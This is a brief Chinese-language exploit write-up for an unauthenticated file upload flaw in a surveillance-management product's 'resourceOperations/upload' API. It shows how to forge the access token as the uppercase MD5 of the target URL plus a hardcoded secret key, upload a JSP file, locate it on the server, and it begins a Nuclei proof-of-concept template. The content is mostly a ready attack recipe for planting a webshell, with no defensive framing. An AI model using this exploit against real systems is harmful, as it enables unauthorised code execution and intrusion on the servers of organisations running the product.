案例

某康resourceOperations upload接口存在前台上传
具体接口：
POST /eps/api/resourceOperations/upload?token=xxx HTTP/1.1

分析

token为 32位MD5大写，即
MD5(https://target.com/eps/api/resourceOperations/uploadsecretKeyIbuilding)转大写

Resp返回path如下：

{"success":true,"message":"上传附件成功","data":{"uuid":null,"resourceUuid":"9abf316d58xxxxx25460b9358c91","resourceType":9998,"operationType":999,"extAttrs":"{\"fileName\":\"1.jsp\",\"fileSize\":\"0.00KB\"}","pUuid":null,"isOn":null,"resourceName":"1.jsp","resourceSize":"0.00KB","unitName":null,"regionName":null}}

完整path：https://target.com/eps/upload/resourceUuid值.jsp

Nuclei for Poc

variables:
    boundary: "{{rand_base(20)}}"
    Token: '{{to_upper("{{md5("https://{{Hostname}}/eps/api/resourceOperations/uploadsecretKeyIbuilding")}}")}}'

path提取
